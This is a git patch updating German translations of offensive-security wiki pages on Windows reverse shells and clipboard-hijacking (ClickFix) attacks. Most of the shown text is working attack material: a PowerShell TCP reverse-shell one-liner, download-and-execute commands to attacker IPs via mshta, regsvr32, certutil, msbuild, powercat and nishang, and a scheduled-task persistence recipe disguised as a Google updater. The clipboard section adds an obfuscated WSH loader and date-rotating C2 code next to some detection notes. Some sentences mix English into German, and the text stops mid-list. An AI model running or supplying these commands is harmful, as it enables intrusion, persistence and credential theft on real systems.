From 832c23bf05ffe3e4843d17c667bfffd491ea6bae Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 13:28:50 +0000 Subject: [PATCH] Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi --- src/generic-hacking/reverse-shells/windows.md | 115 ++-- .../clipboard-hijacking.md | 97 ++-- src/reversing/common-api-used-in-malware.md | 153 +++--- src/windows-hardening/av-bypass.md | 497 ++++++++++-------- 4 files changed, 491 insertions(+), 371 deletions(-) diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 120f719a8..1f5b23b2c 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,8 +4,8 @@ ## Lolbas -Die Seite [lolbas-project.github.io](https://lolbas-project.github.io/) ist für Windows, wie [https://gtfobins.github.io/](https://gtfobins.github.io/) für Linux ist.\ -Offensichtlich gibt es **keine SUID-Dateien oder sudo-Rechte in Windows**, aber es ist nützlich zu wissen, **wie** einige **Binaries** (miss)braucht werden können, um eine Art unerwarteter Aktionen wie **die Ausführung beliebigen Codes** durchzuführen. +Die Seite [lolbas-project.github.io](https://lolbas-project.github.io/) ist für Windows wie [https://gtfobins.github.io/](https://gtfobins.github.io/) für linux.\ +Offensichtlich gibt es in Windows **there aren't SUID files or sudo privileges in Windows**, aber es ist nützlich zu wissen, **wie** einige **binaries** (ab)used werden können, um eine Art unerwarteter Aktionen auszuführen, wie z. B. **execute arbitrary code.** ## NC ```bash @@ -27,7 +27,7 @@ ncat -l --ssl ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) ist eine tragbare und sichere Netcat-Alternative**. Es funktioniert auf Unix-ähnlichen Systemen und Win32. Mit Funktionen wie starker Verschlüsselung, Programmausführung, anpassbaren Quellports und kontinuierlicher Wiederverbindung bietet sbd eine vielseitige Lösung für die TCP/IP-Kommunikation. Für Windows-Benutzer kann die sbd.exe-Version aus der Kali Linux-Distribution als zuverlässiger Ersatz für Netcat verwendet werden. +**[sbd](https://www.kali.org/tools/sbd/) ist eine portable und sichere Netcat-Alternative**. Es läuft auf Unix-ähnlichen Systemen und Win32. Mit Funktionen wie starker Verschlüsselung, Ausführung von Programmen, anpassbaren Quellports und kontinuierlicher Wiederverbindung bietet sbd eine vielseitige Lösung für die TCP/IP-Kommunikation. Für Windows-Nutzer kann die sbd.exe-Version aus der Kali Linux-Distribution als zuverlässiger Ersatz für Netcat verwendet werden. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -81,19 +81,19 @@ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000 Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` -Prozess, der einen Netzwerkaufruf ausführt: **powershell.exe**\ -Payload auf der Festplatte geschrieben: **NEIN** (_zumindest nirgendwo, wo ich mit procmon suchen konnte!_) +Prozess, der den Netzwerkaufruf durchführt: **powershell.exe**\ +Payload auf die Festplatte geschrieben: **NO** (_zumindest nirgendwo, wo ich es mit procmon finden konnte !_ ) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` -Prozess, der einen Netzwerkaufruf ausführt: **svchost.exe**\ -Payload auf der Festplatte geschrieben: **WebDAV-Clientlokalcache** +Prozess, der den Netzwerkaufruf ausführt: **svchost.exe**\ +Auf der Festplatte geschriebene Payload: **WebDAV client local cache** **Einzeiler:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` -**Erhalten Sie weitere Informationen über verschiedene Powershell-Shells am Ende dieses Dokuments** +**Weitere Informationen zu verschiedenen Powershell Shells am Ende dieses Dokuments** ## Mshta @@ -109,15 +109,15 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` -#### **Beispiel für eine hta-psh Reverse Shell (verwenden Sie hta, um ein PS-Backdoor herunterzuladen und auszuführen)** +#### **Beispiel einer hta-psh reverse shell (verwende hta, um eine PS backdoor herunterzuladen und auszuführen)** ```xml ``` -**Sie können sehr einfach einen Koadic-Zombie mit dem Stager HTA herunterladen und ausführen** +**Sie können sehr einfach einen Koadic zombie herunterladen und ausführen, indem Sie den stager hta verwenden** -#### HTA-Beispiel +#### hta Beispiel -[**Von hier**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c); ``` #### **mshta - sct** -[**Von hier**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) +[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -165,9 +165,9 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given ## **Rundll32** -[**Dll Hello World Beispiel**](https://github.com/carterjones/hello-world-dll) +[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) -- [Von hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` -**Von Defender erkannt** +**Erkannt von defender** **Rundll32 - sct** -[**Von hier**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) +[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -219,11 +219,31 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` -**Von Defender erkannt** +**Vom Defender erkannt** -#### Regsvr32 -sct +#### Regsvr32 – arbitrary DLL export with /i argument (gatekeeping & persistence) -[**Von hier**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) +Neben dem Laden von Remote-Scriptlets (`scrobj.dll`) lädt `regsvr32.exe` eine lokale DLL und ruft deren Exporte `DllRegisterServer`/`DllUnregisterServer` auf. Custom loaders missbrauchen dies häufig, um beliebigen Code auszuführen, während sie sich als signiertes LOLBin tarnen. Zwei in freier Wildbahn beobachtete Tradecraft-Hinweise: + +- Gatekeeping argument: die DLL beendet sich, es sei denn, ein bestimmter Schalter wird über `/i:` übergeben, z. B. `/i:--type=renderer`, um Chromium renderer children zu imitieren. Das reduziert versehentliche Ausführung und erschwert sandboxes. +- Persistence: plane `regsvr32`, um die DLL mit silent + hohen Rechten und dem erforderlichen `/i`-Argument auszuführen, getarnt als Updater-Task: +```powershell +Register-ScheduledTask \ +-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\.dll\"") \ +-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \ +-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \ +-TaskPath '\\GoogleSystem\\GoogleUpdater' \ +-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \ +-RunLevel Highest +``` + +Siehe auch: ClickFix clipboard‑to‑PowerShell Variante, die einen JS loader staged und später mit `regsvr32` persistiert. +{{#ref}} +../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md +{{#endref}} + + +[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```html @@ -249,13 +269,13 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` -**Sie können sehr einfach einen Koadic-Zombie mit dem Stager regsvr herunterladen und ausführen** +**Du kannst sehr einfach einen Koadic zombie herunterladen und ausführen, indem du den stager regsvr verwendest** ## Certutil -- [Von hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) -Laden Sie eine B64dll herunter, dekodieren Sie sie und führen Sie sie aus. +Lade eine B64dll herunter, dekodiere sie und führe sie aus. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` @@ -263,7 +283,7 @@ Lade eine B64exe herunter, dekodiere sie und führe sie aus. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` -**Von Defender erkannt** +**Erkannt von defender** ## **Cscript/Wscript** ```bash @@ -273,14 +293,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0 ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` -**Von Defender erkannt** +**Vom Defender erkannt** ## PS-Bat ```bash \\webdavserver\folder\batchfile.bat ``` -Prozess, der einen Netzwerkaufruf ausführt: **svchost.exe**\ -Payload auf der Festplatte geschrieben: **WebDAV-Clientlokalcache** +Prozess, der den Netzwerkaufruf ausführt: **svchost.exe**\ +Auf der Festplatte geschriebene Payload: **WebDAV client local cache** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -289,7 +309,7 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` -**Von Defender erkannt** +**Erkannt durch defender** ## **MSIExec** @@ -310,7 +330,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ```bash wmic os get /format:"https://webserver/payload.xsl" ``` -Beispiel xsl-Datei [von hier](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): +Beispiel xsl-Datei [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml @@ -324,7 +344,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N ``` **Nicht erkannt** -**Sie können sehr einfach einen Koadic-Zombie mit dem Stager wmic herunterladen und ausführen** +**Sie können sehr einfach einen Koadic zombie mit dem stager wmic herunterladen und ausführen** ## Msbuild @@ -332,8 +352,8 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` -Sie können diese Technik verwenden, um die Anwendungs-Whitelist und die Einschränkungen von Powershell.exe zu umgehen. Sie werden mit einer PS-Shell aufgefordert.\ -Laden Sie dies einfach herunter und führen Sie es aus: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) +Du kannst diese Technik verwenden, um Application Whitelisting und Powershell.exe-Einschränkungen zu umgehen. Du erhältst dadurch eine PS shell.\ +Lade es einfach herunter und führe es aus: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` @@ -341,11 +361,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ## **CSC** -Kompiliere C#-Code auf der Opfermaschine. +C# code auf dem Zielrechner kompilieren. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` -Sie können eine grundlegende C# Reverse Shell von hier herunterladen: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) +Sie können eine einfache C# reverse shell hier herunterladen: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **Nicht erkannt** @@ -375,31 +395,31 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -Im **Shells**-Ordner gibt es viele verschiedene Shells. Um Invoke-_PowerShellTcp.ps1_ herunterzuladen und auszuführen, machen Sie eine Kopie des Skripts und fügen Sie am Ende der Datei hinzu: +Im **Shells**-Ordner gibt es viele verschiedene Shells. Um Invoke-_PowerShellTcp.ps1_ herunterzuladen und auszuführen, mache eine Kopie des Skripts und füge sie ans Ende der Datei an: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` -Starten Sie den Dienst des Skripts auf einem Webserver und führen Sie es am Ende des Opfers aus: +Stelle das script auf einem web server bereit und führe es auf dem Rechner des Opfers aus: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` -Defender erkennt es (noch) nicht als bösartigen Code (Stand: 3.04.2019). +Defender erkennt es nicht als schädlichen Code (noch nicht, 03.04.2019). -**TODO: Überprüfen Sie andere nishang-Shells** +**TODO: Prüfe andere nishang shells** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Laden Sie herunter, starten Sie einen Webserver, starten Sie den Listener und führen Sie es auf der Seite des Opfers aus: +Herunterladen, einen Webserver starten, den Listener starten und es auf dem Opfer ausführen: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` -Defender erkennt es (noch) nicht als bösartigen Code (Stand: 3.04.2019). +Defender erkennt es nicht als bösartigen Code (noch nicht, 3/04/2019). -**Weitere Optionen, die von powercat angeboten werden:** +**Andere Optionen, die von powercat angeboten werden:** -Bind shells, Reverse shell (TCP, UDP, DNS), Port-Umleitung, Upload/Download, Payloads generieren, Dateien bereitstellen... +Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd @@ -420,7 +440,7 @@ powercat -l -p 443 -i C:\inputfile -rep [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Erstellen Sie einen PowerShell-Launcher, speichern Sie ihn in einer Datei und laden Sie ihn herunter und führen Sie ihn aus. +Erstelle einen powershell launcher, speichere ihn in einer Datei und lade ihn herunter und führe ihn aus. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` @@ -430,15 +450,15 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Erstellen Sie eine PowerShell-Version der Metasploit-Hintertür mit Unicorn. +Erstellt eine powershell-Version einer metasploit-Backdoor mit unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` -Starten Sie msfconsole mit der erstellten Ressource: +Starte msfconsole mit der erstellten Ressource: ``` msfconsole -r unicorn.rc ``` -Starte einen Webserver, der die _powershell_attack.txt_ Datei bereitstellt und führe sie beim Opfer aus: +Starte einen Webserver, der die Datei _powershell_attack.txt_ bereitstellt, und führe sie auf dem Opfer aus: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` @@ -446,7 +466,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ## Mehr -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS-Konsole mit einigen vorinstallierten offensiven PS-Modulen (verschlüsselt)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) PS-Konsole mit einigen offensiven PS-Modulen vorab geladen (verschlüsselt)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) PS-Konsole mit einigen offensiven PS-Modulen und Proxy-Erkennung (IEX) @@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS-Konsole mit einigen offensi - [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md index 43327fb5e..e70f01f73 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md @@ -1,14 +1,14 @@ -# Clipboard Hijacking (Pastejacking) Angriffe +# Clipboard Hijacking (Pastejacking) Attacks {{#include ../../banners/hacktricks-training.md}} -> "Kopiere niemals etwas, das du nicht selbst kopiert hast." – alter, aber immer noch gültiger Rat +> "Füge niemals etwas ein, das du nicht selbst kopiert hast." – alter, aber immer noch gültiger Ratschlag -## Übersicht +## Überblick -Clipboard Hijacking – auch bekannt als *Pastejacking* – missbraucht die Tatsache, dass Benutzer routinemäßig Befehle kopieren und einfügen, ohne sie zu überprüfen. Eine bösartige Webseite (oder jeder JavaScript-fähige Kontext wie eine Electron- oder Desktop-Anwendung) platziert programmgesteuert vom Angreifer kontrollierten Text in die Systemzwischenablage. Die Opfer werden normalerweise durch sorgfältig gestaltete Social-Engineering-Anweisungen ermutigt, **Win + R** (Ausführen-Dialog), **Win + X** (Schnellzugriff / PowerShell) zu drücken oder ein Terminal zu öffnen und den Inhalt der Zwischenablage *einzufügen*, wodurch sofort beliebige Befehle ausgeführt werden. +Clipboard hijacking – auch bekannt als *pastejacking* – macht sich die Tatsache zunutze, dass Benutzer routinemäßig Befehle kopieren und einfügen, ohne sie zu überprüfen. Eine bösartige Webseite (oder jeder JavaScript-fähige Kontext wie eine Electron- oder Desktop-Anwendung) legt programmatisch angreiferkontrollierten Text in die Systemzwischenablage. Opfer werden in der Regel durch sorgfältig gestaltete Social-Engineering-Anweisungen dazu verleitet, **Win + R** (Ausführen-Dialog), **Win + X** (Quick Access / PowerShell) zu drücken oder ein Terminal zu öffnen und den Inhalt der Zwischenablage einzufügen (*paste*), wodurch sofort beliebige Befehle ausgeführt werden. -Da **keine Datei heruntergeladen und kein Anhang geöffnet wird**, umgeht die Technik die meisten E-Mail- und Webinhalts-Sicherheitskontrollen, die Anhänge, Makros oder die direkte Befehlsausführung überwachen. Der Angriff ist daher in Phishing-Kampagnen beliebt, die handelsübliche Malware-Familien wie NetSupport RAT, Latrodectus Loader oder Lumma Stealer verbreiten. +Da **keine Datei heruntergeladen und kein Anhang geöffnet wird**, umgeht die Technik die meisten E-Mail- und Web-Content-Sicherheitskontrollen, die Anhänge, Makros oder direkte Befehlsausführung überwachen. Der Angriff ist daher beliebt in Phishing-Kampagnen, die Commodity-Malware-Familien wie NetSupport RAT, Latrodectus loader oder Lumma Stealer ausliefern. ## JavaScript Proof-of-Concept ```html @@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload) } ``` -Ältere Kampagnen verwendeten `document.execCommand('copy')`, neuere verlassen sich auf die asynchrone **Clipboard API** (`navigator.clipboard.writeText`). +Ältere Kampagnen nutzten `document.execCommand('copy')`, neuere setzen auf die asynchrone **Clipboard API** (`navigator.clipboard.writeText`). -## Der ClickFix / ClearFake Flow +## Der ClickFix / ClearFake-Ablauf -1. Der Benutzer besucht eine typosquatted oder kompromittierte Seite (z.B. `docusign.sa[.]com`) -2. Injizierte **ClearFake** JavaScript ruft einen `unsecuredCopyToClipboard()` Helfer auf, der stillschweigend eine Base64-kodierte PowerShell-Einzeiler in die Zwischenablage speichert. -3. HTML-Anweisungen sagen dem Opfer: *„Drücken Sie **Win + R**, fügen Sie den Befehl ein und drücken Sie Enter, um das Problem zu lösen.”* -4. `powershell.exe` wird ausgeführt und lädt ein Archiv herunter, das eine legitime ausführbare Datei plus eine bösartige DLL enthält (klassisches DLL-Sideloading). -5. Der Loader entschlüsselt zusätzliche Stufen, injiziert Shellcode und installiert Persistenz (z.B. geplanter Task) – letztendlich wird NetSupport RAT / Latrodectus / Lumma Stealer ausgeführt. +1. Der Benutzer besucht eine typosquatted oder kompromittierte Seite (z. B. `docusign.sa[.]com`) +2. Injiziertes **ClearFake** JavaScript ruft einen `unsecuredCopyToClipboard()` Helper auf, der heimlich einen Base64-kodierten PowerShell-Einzeiler in die Zwischenablage speichert. +3. HTML-Anweisungen fordern das Opfer auf: *“Drücken Sie **Win + R**, fügen Sie den Befehl ein und drücken Sie Enter, um das Problem zu beheben.”* +4. `powershell.exe` wird ausgeführt und lädt ein Archiv herunter, das eine legitime ausführbare Datei plus eine bösartige DLL enthält (klassisches DLL sideloading). +5. Der Loader entschlüsselt zusätzliche Stufen, injiziert Shellcode und installiert Persistenz (z. B. scheduled task) – führt schließlich NetSupport RAT / Latrodectus / Lumma Stealer aus. -### Beispiel NetSupport RAT Chain +### Beispielhafte NetSupport RAT-Kette ```powershell powershell -nop -w hidden -enc # ↓ Decodes to: @@ -40,42 +40,76 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ; Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ; %TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll ``` -* `jp2launcher.exe` (legitimes Java WebStart) sucht in seinem Verzeichnis nach `msvcp140.dll`. -* Die bösartige DLL löst dynamisch APIs mit **GetProcAddress** auf, lädt zwei Binärdateien (`data_3.bin`, `data_4.bin`) über **curl.exe** herunter, entschlüsselt sie mit einem rollierenden XOR-Schlüssel `"https://google.com/"`, injiziert den finalen Shellcode und entpackt **client32.exe** (NetSupport RAT) nach `C:\ProgramData\SecurityCheck_v1\`. +* `jp2launcher.exe` (legitimer Java WebStart) durchsucht sein Verzeichnis nach `msvcp140.dll`. +* Die bösartige DLL löst APIs dynamisch mit **GetProcAddress**, lädt zwei Binaries (`data_3.bin`, `data_4.bin`) über **curl.exe** herunter, entschlüsselt sie mithilfe eines rollierenden XOR-Keys `"https://google.com/"`, injiziert den finalen Shellcode und entpackt **client32.exe** (NetSupport RAT) nach `C:\ProgramData\SecurityCheck_v1\`. ### Latrodectus Loader ``` powershell -nop -enc # Cloud Identificator: 2031 ``` -1. Lädt `la.txt` mit **curl.exe** herunter -2. Führt den JScript-Downloader in **cscript.exe** aus -3. Holt ein MSI-Payload → legt `libcef.dll` neben einer signierten Anwendung ab → DLL-Sideloading → Shellcode → Latrodectus. +1. Lädt `la.txt` mit **curl.exe** herunter +2. Führt den JScript-Downloader in **cscript.exe** aus +3. Holt eine MSI payload → legt `libcef.dll` neben einer signierten Anwendung ab → DLL sideloading → shellcode → Latrodectus. ### Lumma Stealer über MSHTA ``` mshta https://iplogger.co/xxxx =+\\xxx ``` -Der **mshta**-Aufruf startet ein verstecktes PowerShell-Skript, das `PartyContinued.exe` abruft, `Boat.pst` (CAB) extrahiert, `AutoIt3.exe` durch `extrac32` und Dateikonkatenation rekonstruiert und schließlich ein `.a3x`-Skript ausführt, das Browser-Anmeldeinformationen an `sumeriavgv.digital` exfiltriert. +Der **mshta**-Aufruf startet ein verborgenes PowerShell-Skript, das `PartyContinued.exe` abruft, `Boat.pst` (CAB) extrahiert, `AutoIt3.exe` mittels `extrac32` und Datei-Konkatenation rekonstruiert und schließlich ein `.a3x`-Skript ausführt, das browser credentials an `sumeriavgv.digital` exfiltrates. -## Erkennung & Jagd +## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC) -Blue-Teams können Clipboard-, Prozess-Erstellungs- und Registrierungs-Telemetrie kombinieren, um Pastejacking-Missbrauch zu identifizieren: +Einige ClickFix-Kampagnen verzichten vollständig auf Dateidownloads und fordern Opfer auf, einen one‑liner einzufügen, der JavaScript via WSH abruft und ausführt, sich persistent macht und die C2 täglich rotiert. Beispiel beobachtete Kette: +```powershell +powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new +ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr +``` +Hauptmerkmale +- Obfuskierte URL wird zur Laufzeit umgekehrt, um eine oberflächliche Inspektion zu verhindern. +- JavaScript sorgt für Persistenz über eine Startup LNK (WScript/CScript) und wählt den C2 nach dem aktuellen Tag aus – das ermöglicht schnelle Domain-Rotation. -* Windows-Registrierung: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` führt eine Historie von **Win + R**-Befehlen – suchen Sie nach ungewöhnlichen Base64 / obfuskierten Einträgen. -* Sicherheitsereignis-ID **4688** (Prozess-Erstellung), bei der `ParentImage` == `explorer.exe` und `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }. -* Ereignis-ID **4663** für Datei-Erstellungen unter `%LocalAppData%\Microsoft\Windows\WinX\` oder temporären Ordnern kurz vor dem verdächtigen 4688-Ereignis. -* EDR-Clipboard-Sensoren (falls vorhanden) – korrelieren Sie `Clipboard Write`, gefolgt von einem neuen PowerShell-Prozess. +Minimales JS-Fragment zur Rotation von C2s nach Datum: +```js +function getURL() { +var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz']; +var current_datetime = new Date().getTime(); +var no_days = getDaysDiff(0, current_datetime); +return 'https://' ++ getListElement(C2_domain_list, no_days) ++ '/Y/?t=' + current_datetime ++ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime); +} +``` +Die nächste Stufe setzt häufig einen Loader ein, der Persistenz herstellt und einen RAT (z. B. PureHVNC) nachlädt, oft wird TLS an ein hartkodiertes Zertifikat gebunden und der Traffic in Chunks aufgeteilt. -## Minderung +Erkennungsansätze speziell für diese Variante +- Prozessbaum: `explorer.exe` → `powershell.exe -c` → `wscript.exe \a.js` (oder `cscript.exe`). +- Start‑Artefakte: LNK in `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, die WScript/CScript mit einem JS‑Pfad unter `%TEMP%`/`%APPDATA%` aufruft. +- Registry/RunMRU- und Kommandozeilen‑Telemetrie, die `.split('').reverse().join('')` oder `eval(a.responseText)` enthält. +- Wiederholte `powershell -NoProfile -NonInteractive -Command -` Aufrufe mit großen stdin‑Payloads, um lange Skripte ohne lange Kommandozeilen zuzuliefern. +- Geplante Tasks, die anschließend LOLBins wie `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\.dll"` ausführen, unter einem updater‑ähnlichen Task/Pfad (z. B. `\GoogleSystem\GoogleUpdater`). -1. Browser-Härtung – deaktivieren Sie den Schreibzugriff auf die Zwischenablage (`dom.events.asyncClipboard.clipboardItem` usw.) oder verlangen Sie eine Benutzerinteraktion. -2. Sicherheitsbewusstsein – schulen Sie Benutzer, sensible Befehle *einzugeben* oder sie zuerst in einen Texteditor einzufügen. -3. PowerShell Constrained Language Mode / Ausführungsrichtlinie + Anwendungssteuerung, um willkürliche Einzeiler zu blockieren. -4. Netzwerksteuerungen – blockieren Sie ausgehende Anfragen an bekannte Pastejacking- und Malware-C2-Domains. +Threat Hunting +- Täglich rotierende C2-Hostnames und URLs mit dem Muster `.../Y/?t=&v=5&p=`. +- Korrelation von Clipboard‑Write‑Ereignissen, gefolgt von einem Win+R‑Einfügen und anschließender sofortiger Ausführung von `powershell.exe`. + +Blue‑Teams können Clipboard‑, Prozess‑Erstellungs‑ und Registry‑Telemetrie kombinieren, um pastejacking‑Missbrauch zu lokalisieren: + +* Windows-Registry: 